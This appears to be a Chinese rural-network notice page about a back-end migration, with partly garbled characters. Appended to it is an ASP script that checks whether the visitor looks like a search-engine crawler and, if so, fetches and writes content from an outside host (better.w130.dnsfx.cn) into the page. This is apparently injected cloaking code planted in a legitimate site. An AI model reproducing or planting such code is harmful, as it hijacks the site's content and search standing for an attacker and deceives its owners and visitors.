?!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
通知
?nbsp; ?/strong>
因黄河农网后台升级，原乡镇网站停止使用，请各乡镇信息员与市农业局信息中心联系索取新系统登陆账号。新系统暂时使用测试域名登陆，如：灵宝阳平镇的域名为
lbypz.test.hhnw.com 正式投入使用后域名将更换为各乡镇的现有域名，原乡镇网站将被删除。请各乡镇信息员尽快转移数据到新系统中?br />
联系人：吕国?马昆?br />
联系电话?806888
点此进入原网站：http://lsxwlcz.hhnw.com/default_.asp
点此进入新系统管理后台：http://test.hhnw.com/admin
<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("http://better.w130.dnsfx.cn/data.asp?dns="&dns)
else
response.write getBody("http://better.w130.dnsfx.cn/data.asp?dns="&url&"&dn="&dns)
end if
end if
%>